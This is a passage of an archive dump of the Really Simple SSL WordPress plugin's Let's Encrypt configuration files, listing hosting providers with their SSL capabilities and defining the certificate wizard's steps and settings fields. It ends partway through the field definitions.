really-simple-ssl/lets-encrypt/config/index.php000064400000000043147510273070015643 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/lets-encrypt/config/class-hosts.php000064400000066614147510273070017017 0ustar00<?php
defined( 'ABSPATH' ) or die( );

if ( ! class_exists( "rsssl_le_hosts" ) ) {

    class rsssl_le_hosts {
        private static $_this;
        public $steps;
        public $hosts;
        public $supported_hosts;
        public $not_local_certificate_hosts;
        public $no_installation_renewal_needed;
        public $dashboard_activation_required;
        public $activated_by_default;
        public $paid_only;

        public function __construct() {
	        if ( !defined('RSSSL_LE_CONFIG_LOADED') ) {
				define('RSSSL_LE_CONFIG_LOADED', true);
	        }

	        if ( isset( self::$_this ) ) {
                wp_die( 'This is a singleton class and you cannot create a second instance.');
            }

            self::$_this = $this;

	        /**
	         * Plesk requires local SSL generation, and installation renewal.
	         * Cpanel default requires local SSL generation, and installation renewal.
	         * Cpanel autossl: no local ssl generation, no renewal
	         */

            $this->hosts = array(
            	'cloudways' => array(
            		'name' => 'CloudWays',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cloudways',
		            'api' => true,
		            'ssl_installation_link' => false,
	            ),
	            'tierpoint' => array(
            		'name' => 'TierPoint',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => true,
		            'ssl_installation_link' => false,
	            ),
	            'godaddy' => array(
		            'name' => 'GoDaddy',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'godaddy_managed' => array(
		            'name' => 'GoDaddy Managed WordPress',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => 'godaddymanaged',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'kasserver' => array(
		            'name' => 'Kasserver',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'kasserver',
		            'api' => false,
		            'ssl_installation_link' => 'https://kas.all-inkl.com/',
	            ),
	            'argeweb' => array(
		            'name' => 'Argeweb',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'plesk',
		            'api' => false,
		            'ssl_installation_link' => 'https://www.argeweb.nl/argecs/',
	            ),

	            'hostgator' => array(
		            'name' => 'HostGator',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => true,
		            'hosting_dashboard' => 'cpanel:autossl',
		            'api' => true,
		            'ssl_installation_link' => 'https://{host}:2083/frontend/paper_lantern/security/tls_status/',
	            ),

	            'ionos' => array(
		            'name' => 'IONOS',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'paid_only',
		            'hosting_dashboard' => 'ionos',
		            'api' => false,
		            'ssl_installation_link' => '',
	            ),

	            'simply' => array(
		            'name' => 'Simply',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => false,
		            'api' => false,
		            'ssl_installation_link' => 'https://www.simply.com/en/controlpanel/sslcerts/',
	            ),
	            'siteground' => array(
		            'name' => 'SiteGround',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => false,
		            'api' => false,
		            'ssl_installation_link' => 'https://tools.siteground.com/ssl',
	            ),
	            'dreamhost' => array(
		            'name' => 'Dreamhost',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => false,
		            'api' => false,
		            'ssl_installation_link' => 'https://help.dreamhost.com/hc/en-us/articles/216539548-Adding-a-free-Let-s-Encrypt-certificate',
	            ),
	            'wpengine' => array(
		            'name' => 'WPEngine',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => false,
		            'api' => false,
					'detected' => isset($_SERVER['IS_WPE']),
		            'ssl_installation_link' => 'https://wpengine.com/support/add-ssl-site/#letsencrypt',
	            ),
	            'ipage' => array(
		            'name' => 'iPage',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => false,
		            'api' => false,
		            'ssl_installation_link' => 'https://www.ipage.com/help/article/enable-your-free-ssl-certificate',
	            ),
	            'onecom' => array(
		            'name' => 'one.com',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => false,
		            'api' => false,
		            'ssl_installation_link' => 'https://help.one.com/hc/en-us/articles/360000297458-Why-is-SSL-HTTPS-not-working-on-my-site-',
	            ),
	            'wpmudev' => array(
		            'name' => 'WPMUDEV',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => false,
		            'api' => false,
		            'ssl_installation_link' => 'https://wpmudev.com',
	            ),
	            'ovh' => array(
		            'name' => 'OVH',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => 'https://ovh.com',
	            ),
	            'bluehost' => array(
		            'name' => 'BlueHost',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => 'https://www.bluehost.com/help/article/how-to-activate-a-free-wordpress-ssl',
	            ),
	            'freeola' => array(
		            'name' => 'Freeola',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'paid_only',
		            'hosting_dashboard' => 'freeola',
		            'api' => false,
		            'ssl_installation_link' => '',
	            ),
	            'hostinger' => array(
		            'name' => 'Hostinger',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'hpanel',
		            'api' => false,
		            'ssl_installation_link' => 'https://hpanel.hostinger.com/hosting/{domain}advanced/ssl',
	            ),
	            'pcextreme' => array(
		            'name' => 'PCExtreme',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => 'directadmin',
		            'api' => false,
		            'ssl_installation_link' => 'https://help.pcextreme.nl/domains-ssl/hoe-vraag-ik-een-ssl-certificaat-aan-voor-mijn-domein/',
	            ),
	            'internic' => array(
		            'name' => 'Internic',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => 'internic',
		            'api' => false,
		            'ssl_installation_link' => 'https://internic.com',
	            ),
	            'aruba' => array(
		            'name' => 'Aruba',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'paid_only',
		            'hosting_dashboard' => 'aruba',
		            'api' => false,
		            'ssl_installation_link' => 'https://admin.aruba.it/PannelloAdmin/UI/Pages/ContentSection.aspx?Action=153',
	            ),
	            'namecheap' => array(
		            'name' => 'Namecheap',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => 'https://www.namecheap.com/blog/install-free-ssls/',
	            ),
	            'hostpapa' => array(
		            'name' => 'Hostpapa',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'webcom' => array(
		            'name' => 'web.com',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'paid_only',
		            'hosting_dashboard' => 'web.com',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'crazydomains' => array(
		            'name' => 'Crazydomains',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'paid_only',
		            'hosting_dashboard' => 'crazydomains',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'strato' => array(
		            'name' => 'Strato',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'plesk',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'inmotion' => array(
		            'name' => 'Inmotion',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => 'https://www.inmotionhosting.com/support/website/ssl/auto-ssl-guide/',
	            ),
	            'flywheel' => array(
		            'name' => 'Flywheel',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'flywheel',
		            'api' => false,
					'detected' => isset($_SERVER['SERVER_SOFTWARE']) && strpos($_SERVER['SERVER_SOFTWARE'], 'Flywheel/') === 0,
		            'ssl_installation_link' => 'https://getflywheel.com/why-flywheel/simple-ssl/',
	            ),
	            'kinsta' => array(
		            'name' => 'Kinsta',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'mykinsta',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'pressable' => array(
		            'name' => 'Pressable',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'paid_only',
		            'hosting_dashboard' => 'pressable',
		            'api' => false,
		            'ssl_installation_link' => false,
		            'detected' => (defined('IS_ATOMIC') && IS_ATOMIC) || (defined('IS_PRESSABLE') && IS_PRESSABLE),
	            ),
	            'wpx' => array(
		            'name' => 'WPX',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'wpx',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'greengeeks' => array(
		            'name' => 'Greengeeks',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'greengeeks',
		            'api' => false,
		            'ssl_installation_link' => 'https://www.greengeeks.com/support/article/getting-started-adding-lets-encrypt-ssl-greengeeks-account/',
	            ),
	            'liquidweb' => array(
		            'name' => 'Liquidweb',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'profreehost' => array(
		            'name' => 'Profreehost',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => 'https://profreehost.com/support/ssl-https/how-to-install-an-ssl-certificate/',
	            ),
	            'hostdash' => array(
		            'name' => 'Hostdash',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'byethost' => array(
		            'name' => 'Byethost',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => 'byethost',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'site5' => array(
		            'name' => 'Site5',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'paid_only',
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => '',
	            ),
	            'epizy' => array(
		            'name' => 'Epizy',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => '',
	            ),
	            'infinityfree' => array(
		            'name' => 'Infinityfree',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => '',
	            ),
	            'gandi' => array(
		            'name' => 'Gandi',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'gandi',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'contabo' => array(
		            'name' => 'Contabo',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => true,
		            'hosting_dashboard' => 'cpanel:autossl',
		            'api' => true,
		            'ssl_installation_link' => 'https://{host}:2083/frontend/paper_lantern/security/tls_status/',
	            ),
	            'earthlink' => array(
		            'name' => 'Earthlink',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => true,
		            'ssl_installation_link' => false,
	            ),
	            'hostway' => array(
		            'name' => 'Hostway',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'beget' => array(
		            'name' => 'Beget',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'beget',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'fatcow' => array(
		            'name' => 'Fatcow',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'fatcow',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'ventraip' => array(
		            'name' => 'Ventraip',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activated_by_default',
		            'hosting_dashboard' => 'cpanel:autossl',
		            'api' => false,
		            'ssl_installation_link' => 'https://{host}:2083/frontend/paper_lantern/security/tls_status/',
	            ),
	            'namescouk' => array(
		            'name' => 'Names.co.uk',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'mediatemple' => array(
		            'name' => 'Mediatemple',
		            'installation_renewal_required' => true,
		            'local_ssl_generation_needed' => true,
		            'free_ssl_available' => false,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'xxl' => array(
		            'name' => 'XXL Hosting',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => true,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'combell' => array(
		            'name' => 'Combell',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => true,
		            'hosting_dashboard' => 'cpanel',
		            'detected' => defined('HBRW_PLATFORM_ID') && (int) HBRW_PLATFORM_ID === 1,
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'easyhost' => array(
		            'name' => 'EasyHost',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => true,
		            'hosting_dashboard' => 'cpanel',
		            'detected' => defined('HBRW_PLATFORM_ID') && (int) HBRW_PLATFORM_ID === 2,
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'transip' => array(
		            'name' => 'TransIP',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => true,
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'digitalocean' => array(
		            'name' => 'Digitalocean',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'digitalocean',
		            'api' => false,
		            'ssl_installation_link' => 'https://docs.digitalocean.com/products/accounts/security/certificates/',
	            ),
	            'fisthost' => array(
		            'name' => 'Fisthost',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'fisthost',
		            'api' => false,
		            'ssl_installation_link' => 'https://my.fisthost.com/knowledgebase/6/How-do-I-activate-my-free-SSL.html',
	            ),
	            'register' => array(
		            'name' => 'register.lk',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'paid_only',
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => '',
	            ),
	            'fasthosts' => array(
		            'name' => 'Fasthosts',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'cpanel',
		            'api' => false,
		            'ssl_installation_link' => false,
	            ),
	            'upress' => array(
		            'name' => 'Upress',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'false',
		            'api' => false,
		            'ssl_installation_link' => 'https://support.upress.io',
	            ),
	            'infomaniak' => array(
		            'name' => 'Infomaniak',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_required',
		            'hosting_dashboard' => 'infomaniak',
		            'api' => false,
		            'ssl_installation_link' => 'https://www.infomaniak.com/en/secure/ssl-certificates',
	            ),
	            'dandomain' => array(
		            'name' => 'DanDomain',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'paid_only',
		            'hosting_dashboard' => 'dandomain',
		            'api' => false,
		            'ssl_installation_link' => '',
	            ),
	            'hetzner' => array(
		            'name' => 'Hetzner',
		            'installation_renewal_required' => false,
		            'local_ssl_generation_needed' => false,
		            'free_ssl_available' => 'activation_reguired',
		            'hosting_dashboard' => 'konsoleh',
		            'api' => false,
		            'ssl_installation_link' => '',
	            ),
            );

	        $this->not_local_certificate_hosts = $this->filter_hosts( 'local_ssl_generation_needed', false);
	        $this->dashboard_activation_required = $this->filter_hosts( 'free_ssl_available', 'activation_required');
	        $this->activated_by_default = $this->filter_hosts( 'free_ssl_available', 'activated_by_default');
	        $this->paid_only = $this->filter_hosts( 'free_ssl_available', 'paid_only');
            $this->no_installation_renewal_needed = $this->filter_hosts( 'installation_renewal_required', false);
            $this->no_installation_renewal_needed[] = 'cpanel:autossl';

	        ksort($this->hosts);
	        $this->supported_hosts = array(
		        'none' => __('I don\'t know, or not listed, proceed with installation', 'really-simple-ssl'),
	        );
	        $this->supported_hosts = $this->supported_hosts + wp_list_pluck($this->hosts, 'name');
        }

        static function this() {
            return self::$_this;
        }

		public function detect_host_on_activation(){
			foreach ( $this->hosts as $host_key => $host ) {
				if ( isset($host['detected']) && $host['detected'] ) {
					rsssl_update_option('other_host_type', $host_key );
				}
			}
		}


	    /**
	     * @param array $array
	     * @param mixed $filter_value
	     * @param mixed $filter_key
	     *
	     * @return array
	     */
        public function filter_hosts( $filter_key, $filter_value){
	        return array_keys(array_filter($this->hosts, function ($var) use ($filter_value, $filter_key) {
		        return ($var[$filter_key] == $filter_value);
	        }) );
        }

	    /**
	     * @param string | bool $type
	     *
	     * @return bool
	     */

	    public function host_api_supported( $type ) {
		    $hosting_company = rsssl_get_other_host();
		    //if not listed, we assume it can.
		    if ( !$hosting_company || $hosting_company === 'none' ) {
			    return true;
		    }

		    $hosts_has_dashboard = RSSSL_LE()->hosts->filter_hosts( 'api', $type);
		    if ( in_array($hosting_company, $hosts_has_dashboard) ) {
			    return true;
		    } else {
			    return false;
		    }
	    }
    }



} //class closurereally-simple-ssl/lets-encrypt/config/fields.php000064400000043075147510273070016016 0ustar00<?php

function rsssl_le_steps(){
	$steps =
		[
			[
				"id"       => "system-status",
				"title"    => __( "System status", 'really-simple-ssl' ),
			],
			[
				"id"    => "domain",
				"title" => __( "General Settings", 'really-simple-ssl' ),
			],

			[
				"id"       => "directories",
				"title"    => __( "Directories", 'really-simple-ssl' ),
			],
			[
				"id"    => "dns-verification",
				"title" => __( "DNS verification", 'really-simple-ssl' ),
			],
			[
				"id"    => "generation",
				"title" => __( "Generation", 'really-simple-ssl' ),
			],
			[
				"id"    => "installation",
				"title" => __( "Installation", 'really-simple-ssl' ),
			],
	];

	return $steps;
}

/**
 * Let's Encrypt
 */
add_filter("rsssl_fields", "rsssl_le_add_fields");
function rsssl_le_add_fields($fields) {

	$fields =  array_merge($fields,  [
			[
				'id'      => 'system-status',
				'menu_id' => 'le-system-status',
				'group_id' => 'le-system-status',
				"intro"   => __( "Detected status of your setup.", "really-simple-ssl" ),
				'type'    => 'letsencrypt',
				'default' => false,
				'actions' => [
					[
						'description' => __( "Checking SSL certificate...", "really-simple-ssl" ),
						'action'      => 'certificate_status',
						'attempts'    => 1,
						'status'      => 'inactive',
					],
					[
						'description' => __( "Checking if CURL is available...", "really-simple-ssl" ),
						'action'      => 'curl_exists',
						'attempts'    => 1,
						'status'      => 'inactive',
					],
					[
						'description' => __( "Checking server software...", "really-simple-ssl" ),
						'action'      => 'server_software',
						'attempts'    => 1,
						'status'      => 'inactive',
					],
					[
						'description' => __( "Checking alias domain...", "really-simple-ssl" ),
						'action'      => 'alias_domain_available',
						'attempts'    => 3,
						'status'      => 'inactive',
					],
					[
						'description' => __( "Checking for website configuration...", "really-simple-ssl" ),
						'action'      => 'check_domain',
						'attempts'    => 1,
						'status'      => 'inactive',
					],
				],
			],
			[
				'id' => 'verification_type',
				'menu_id' => 'le-general',
				'group_id' => 'le-general',
				'type' =>  'hidden',
			],
			[
				'id'       => 'email_address',
				'menu_id'  => 'le-general',
				'group_id'  => 'le-general',
				'type'     => 'email',
				'label'    => __( "Email address", 'really-simple-ssl' ),
				'help'     => [
					'label' => 'default',
					'title' => __( "Email address", "really-simple-ssl" ),
					'text'  => __( "This email address is used to create a Let's Encrypt account. This is also where you will receive renewal notifications.", 'really-simple-ssl' ),
				],
				'default'  => '',
				'required' => true,
			],
			[
				'id'       => 'accept_le_terms',
				'menu_id'  => 'le-general',
				'group_id'  => 'le-general',
				'type'     => 'checkbox',
				'default'  => false,
				'required' => true,
				'label'    => __( 'I agree to the Terms & Conditions from Let\'s Encrypt.','really-simple-ssl'),
				'comment'    => '<a target="_blank" href="https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf">'.__('Terms & Conditions', "really-simple-ssl" ).'</a>',
			],
			[
				'id'      => 'disable_ocsp',
				'menu_id' => 'le-general',
				'group_id' => 'le-general',
				'required'=> false,
				'type'    => 'checkbox',
				'default' => false,
				'help' => [
					'label' => 'default',
					'url'   => 'ocsp-stapling',
					'title' => __( "Disable OCSP stapling", "really-simple-ssl" ),
					'text'  => __( "OCSP stapling is configured as enabled by default. You can disable this option if this is not supported by your hosting provider.", "really-simple-ssl" ),
				],
				'label'   => __( "Disable OCSP stapling", 'really-simple-ssl' ),
			],
			[
				'id'       => 'domain',
				'menu_id'  => 'le-general',
				'group_id'  => 'le-general',
				'type'     => 'text',
				'default'  => rsssl_get_domain(),
				'label'    => __( "Domain", 'really-simple-ssl' ),

				'required' => false,
				'disabled' => true,
			],
			[
				'id'                => 'include_alias',
				'menu_id'           => 'le-general',
				'group_id'           => 'le-general',
				'type'              => 'checkbox',
				'default'           => '',
				'label'    => __( "Include alias", 'really-simple-ssl' ),
				'help'              => [
					'label' => 'default',
					'title' => __( "Include alias", "really-simple-ssl" ),
					'text'  => __( "This will include both the www. and non-www. version of your domain.", "really-simple-ssl" ) . ' '
					           . __( "You should have the www domain pointed to the same website as the non-www domain.", 'really-simple-ssl' ),
				],
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_is_subdomain()'                  => false,
						'rsssl_wildcard_certificate_required()' => false,
					]
				],
			],
			[
				'id'                => 'cpanel_host',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'text',
				'default'           => '',
				'label'             => __( "CPanel host", 'really-simple-ssl' ),
				'help'              => [
					'label' => 'default',
					'title' => __( "CPanel host", "really-simple-ssl" ),
					'text'  => __( "The URL you use to access your cPanel dashboard. Ends on :2083.", 'really-simple-ssl' ),
				],
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_is_cpanel()'            => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                => 'cpanel_username',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'text',
				'default'           => '',
				'label'             => __( "CPanel username", 'really-simple-ssl' ),
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_cpanel_api_supported()' => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                => 'cpanel_password',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'password',
				'default'           => '',
				'label'             => __( "CPanel password", 'really-simple-ssl' ),
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_cpanel_api_supported()' => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                => 'directadmin_host',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'text',
				'default'           => '',
				'label'             => __( "DirectAdmin host", 'really-simple-ssl' ),
				'help'              => [
					'label' => 'default',
					'title' => __( "Direct Admin URL", "really-simple-ssl" ),
					'text'  => __( "The URL you use to access your DirectAdmin dashboard. Ends on :2222.", 'really-simple-ssl' ),
				],
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_is_directadmin()'       => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                => 'directadmin_username',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'text',
				'default'           => '',
				'label'             => __( "DirectAdmin username", 'really-simple-ssl' ),
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_is_directadmin()'       => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                => 'directadmin_password',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'password',
				'default'           => '',
				'label'             => __( "DirectAdmin password", 'really-simple-ssl' ),
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_is_directadmin()'       => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                => 'cloudways_user_email',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'text',
				'default'           => '',
				'placeholder'       => 'email@email.com',
				'label'             => __( "CloudWays user email", 'really-simple-ssl' ),
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'other_host_type' => 'cloudways',
					]
				],
			],
			[
				'id'                => 'cloudways_api_key',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'password',
				'default'           => '',
				'label'             => __( "CloudWays API key", 'really-simple-ssl' ),
				'required'          => false,
				'disabled'          => false,
				'help'              => [
					'label' => 'default',
					'title' => __( "CloudWays API key", "really-simple-ssl" ),
					'text'  => sprintf( __( "You can find your api key %shere%s (make sure you're logged in with your main account).", "really-simple-ssl" ),
						'<a target="_blank" href="https://platform.cloudways.com/api">', '</a>' ),
				],
				'server_conditions' => [
					'relation' => 'AND',
					[
						'other_host_type' => 'cloudways',
					]
				],
			],
			[
				'id'                => 'plesk_host',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'text',
				'default'           => '',
				'label'             => __( "Plesk host", 'really-simple-ssl' ),
				'help'              => [
					'label' => 'default',
					'title' => __( "Plesk admin URL", "really-simple-ssl" ),
					'text'  => __( "The URL you use to access your Plesk dashboard. Ends on :8443.", 'really-simple-ssl' ),
				],
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_is_plesk()'             => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                => 'plesk_username',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'text',
				'default'           => '',
				'label'             => __( "Plesk username", 'really-simple-ssl' ),
				'help'              => [
